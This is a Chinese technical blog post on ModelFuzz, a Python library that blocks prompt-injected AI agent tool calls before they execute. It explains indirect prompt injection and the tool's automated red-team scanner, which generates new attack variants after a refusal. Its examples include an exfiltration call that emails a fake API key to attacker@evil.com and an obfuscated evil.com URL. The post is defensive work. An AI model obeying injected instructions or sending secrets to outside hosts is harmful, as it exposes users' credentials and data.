2026年8月4日 1 分钟阅读

别只过滤提示词:用 ModelFuzz 在工具执行前拦住被注入的 Agent

tinyash 0 条评论

给 Agent 接上邮件、HTTP、Shell 或数据库工具之后,风险往往不在模型会不会说出一段不当文本,而在它会不会真的执行一次不该执行的调用。一个看似正常的网页、工单或日志里可以混入间接提示注入:模型读到内容后,把其中的指令当成任务的一部分,随后带着环境变量、文件内容或用户数据去调用外部工具。

这类风险不应只靠“过滤输入提示词”处理。提示文本的来源复杂、表达会变化,且业务系统还需要允许模型读取真实网页和文档。更实用的边界是工具执行层:即使模型已经被误导,只要一次调用的 URL、路径、命令或请求体不符合明确策略,就让函数体根本没有机会运行。

ModelFuzz 是一个 MIT 许可证的 Python 项目,采用的正是这条路径。它不是聊天内容审核器,也不尝试判断一段提示词“是否恶意”;它在被包装的工具函数执行前检查位置参数和关键字参数。策略拒绝时,调用方收到 ModelFuzzBlockError,被保护函数不会执行。对于已经有少量高风险工具、但不想重写整套 Agent 框架的 Python 项目,这是一种可以逐步接入的收口方式。

先划清边界:它解决什么,不解决什么

把防护点放在执行层,意味着它擅长约束具有副作用的工具:发送邮件、向外部地址发 HTTP 请求、执行 Shell、读写文件、查询数据库等。无论危险参数来自用户输入、网页内容,还是模型自行拼接,只要最终进入了受保护的函数,都要先经过策略引擎。

相反,ModelFuzz 不会检查 prompt,也不是内容审核产品。如果应用只生成或分类文本、从不调用外部工具,套上它不会增加多少安全性。更重要的是,项目自带的 SensitiveDataFilter 只是演示级默认项:README 明确说明它匹配的是 secretpasswordapi_key 三个字面关键词,不能识别真实的 sk-...AKIA... 格式凭证。把默认过滤器当成完整密钥防泄漏方案,反而会制造错误的安全感。

因此,正确的分工是:在入口层继续做身份、权限、输入大小和内容处理;在工具层用可审计的策略限制动作;对真正敏感的数据,再接入适合自己凭证格式和业务字段的检测规则。

用装饰器给外部动作加一道门

最小接入方式是给已有函数加上 @shield_tool。下面的例子保留了业务函数的形状;真正的 SMTP 客户端如何初始化由应用负责,关键在于参数会在函数体之前被检查:

from modelfuzz import ModelFuzzBlockError, shield_tool

@shield_tool
def send_email(to_address: str, subject: str, body: str) -> None:
    smtp.send(to_address, subject, body)

try:
    send_email(
        "attacker@evil.com",
        "urgent",
        "here is the secret API_KEY sk-12345",
    )
except ModelFuzzBlockError as error:
    print(f"blocked: {error}")

这个例子展示的是控制流,而不是建议把关键词匹配当作生产规则:命中策略时,smtp.send() 不会被调用。项目说明中,裸用 @shield_tool 会建立带基础 SensitiveDataFilter 的默认 PolicyEngine;生产环境应创建自己的引擎,并以 @shield_tool(engine=my_engine) 的形式传入。

这样做有两个工程上的好处。第一,防护代码靠近副作用边界,不必信任上游每一层都正确保留了“这段文本不可信”的标记。第二,业务函数仍可被普通单元测试直接覆盖;只要补充“允许调用”和“拒绝调用”两组测试,就能确认策略没有把安全逻辑变成只写在文档里的约定。

策略应该围绕能力,而非泛化关键词

项目的 PolicyEngine 按顺序运行策略,并在第一个违规处短路。策略本身是普通可调用对象:接收一个值,返回 ViolationNone。这使得策略应当围绕工具的具体能力设计,而不是堆砌一长串敏感词。

例如,发 HTTP 请求的工具优先做域名 allowlist:只允许明确的内部 API 或合作方域名。README 所述的 URLAllowList 默认拒绝未列出的域名,也把带 userinfo 的混淆 URL(如 http://api.internal.com@evil.com)、不允许的 scheme 和无法解析的 URL 视为违规。文件工具则应限制到项目工作目录或单独的导出目录;Shell 工具宜进一步缩小为固定子命令和结构化参数,而不要把一整段模型生成的命令字符串直接交给 shell。

这也是 allowlist 通常优于 denylist 的原因。denylist 必须猜中攻击者的写法;allowlist 只需说明这项业务本来允许做什么。策略越贴近工具的能力,误拦截和漏拦截都越容易定位和审计。

异步与 MCP 接入时要验证的细节

Agent 工具经常是协程,或者运行在 MCP stdio 服务中。ModelFuzz 的 README 声明同一装饰器可包装同步函数、协程函数和异步生成器;同时它不会向 stdout 写入内容,避免破坏 stdio MCP 的 JSON-RPC 流。这降低了接入门槛,但仍应在自己的运行方式中做集成测试:验证被拒绝时异常能被框架转换成合适的工具错误,验证允许时流式返回没有被改变,也验证日志是否只进入预期的 stderr 或日志收集通道。

另一个容易遗漏的问题是参数的检查粒度。项目当前检查 strlisttupledict 类型,且策略看到的是单个参数而不是整次调用的完整语义。假如“收件人是内部地址且附件必须来自指定目录”是组合规则,不能仅依赖默认行为;应编写能够表达该组合条件的自定义策略,或在工具函数内部增加业务级授权检查。

把扫描结果当作回归信号,而不是安全结论

除了运行时包装,项目还提供 modelfuzz scan。它使用种子攻击请求探测目标模型;遇到拒绝时,会让单独的攻击者调用根据拒绝内容生成新的变体,直到命中、超出预算或该分支停止。对本地 Ollama、vLLM 或兼容 OpenAI API 的端点,可以先安装 scan extra:

pip install 'modelfuzz[scan]'
export MODELFUZZ_API_KEY="${MODELFUZZ_API_KEY}"
modelfuzz scan \
  --endpoint http://localhost:11434/v1 \
  --model qwen2.5:1.5b \
  --budget-s 30

这里的 --budget-s 是时间预算;README 特别提醒,“在预算内未发现漏洞”不等同于安全证明。若响应在 --max-tokens 上限处被截断,扫描器会报告截断,而不把结果误记为安全;如果请求全失败,也应视为 inconclusive。把扫描放进发布前检查或定期回归中很有价值,但它只能说明当前模型、当前提示和当前预算下的测试结果,不能替代运行时策略和最小权限设计。

建议的落地顺序

如果现有 Agent 已经能操作外部系统,不必一次性给所有函数加复杂规则。先枚举副作用最大的三个工具,通常是网络请求、邮件/消息发送和 Shell;为每个工具确定最小允许动作;再用装饰器包裹并为允许、拒绝、异常、异步路径补测试。运行一段时间后,根据真实的拒绝日志调整策略,而不是为了减少告警直接放宽范围。

上线时还应把策略配置和业务版本一起管理。每条 allowlist 都应能回答三个问题:它服务于哪项用户功能、由谁批准、何时需要复审。开发环境可以用更严格的策略故意制造拒绝,以确认错误会被框架记录和呈现;生产环境则要为被拒绝的调用保留足够的上下文,例如工具名、规则标识、经过脱敏的参数摘要和请求关联 ID。这样排查时能区分模型选择了错误工具、参数超出权限,还是规则本身遗漏了合法业务,而不必把原始敏感数据写进日志。

对于会修改数据的操作,执行层策略也不应成为唯一确认机制。删除、转账、发布、扩大权限等高影响动作,仍应在业务层要求显式审批或一次性确认令牌;ModelFuzz 更适合作为最后一道“即便上游判断失误也不能越界”的防线。把权限校验、审批和执行前参数策略叠加起来,才能避免单一模型决策直接成为不可逆操作。

ModelFuzz 的价值不在于替团队“识别所有坏提示”,而在于把一句脆弱的模型指令变成必须跨越的、可测试的执行策略。模型可能误解页面,策略不应跟着误解;当 Agent 获得现实世界的操作能力时,这种分层才是更可靠的安全边界。

相关链接

发表评论

你的邮箱地址不会被公开,带 * 的为必填项。